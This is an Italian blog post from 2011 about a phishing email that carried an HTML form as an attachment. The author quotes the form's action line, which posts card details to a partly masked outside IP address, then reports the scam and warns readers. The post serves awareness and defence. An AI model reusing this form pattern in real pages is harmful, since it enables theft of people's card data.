martedì 3 maggio 2011

L'ultima inquietante frontiera del phishing

Stamattina mentre scarico la posta, la mia attenzione viene attirata da un messaggio la cui intestazione mi dice "VISA/MasterCard Service".
Mentre mi suonano migliaia di campanelli d'allarme (strano, non è finito in posta indesiderata come al solito) leggo il messaggio scritto nel classico italiano stentato con l'invito a verificare i miei dati pena l'immediata sospensione della carta.
Ma qui la magia. Infatti mentre cerco il solito link a una pagina di phishing da dare in pasto a Netcraft, mi rendo conto che non c'è nessun link sulla pagina, e invece è presente un allegato in HTML.
È un bel form in html che, visualizzando il messaggio in HTML, appare direttamente nel messaggio stesso:
Apro l'allegato html, e finalmente vedo l'arcano, infilato nel codice html:
<form method="post" action="http://217.**.**.***/entra/entra.php">
Capito 'sti bastardi? Siccome i siti vengono bloccati, ora fanno in modo di mandare direttamente il form in allegato all'e-mail, così non si blocca.
Provo a mettere nel form dati casuali [il mio numero di carta dovrebbe essere "fu$k you dirt$ p" e cvv "igs" (-: ] e con orrore noto che dopo aver acquisito i dati, semplicemente la pagina fa una redirect sul sito di visaitalia.
Bene. Questa volta mi sono dovuto divertire un po' nel riportare la segnalazione con l'email allegata a Netcraft, così anche questa bella novità durerà poco. (-:

Ma ora ricordo a tutti quanti che la vostra banca o la società che vi emette le carte di credito per nessun motivo vi chiederà di confermare i vostri dati via posta elettronica, e anche se ricevendo un messaggio del genere dovreste avere qualche dubbio, astenetevi *SEMPRE* dal clickare su link presenti sul messaggio: piuttosto aprite una finestra del vostro programma di navigazione, digitate MANUALMENTE l'indirizzo della vostra banca ed entrate seguendo la vostra procedura abituale.
Se ci fossero veramente problemi con il vostro account, ci sarebbero dei messaggi da parte della banca a questo punto (e ovviamente non troverete nessuna comunicazione in tal senso, anzi, piuttosto una caterva di avvisi a proposito del rischio di phishing, a cui stavate per abboccare).
Ad ogni modo la vostra banca per nessun motivo vi chiede di confermare i dati della carta di credito, né per e-mail né telefonicamente.

0 commenti: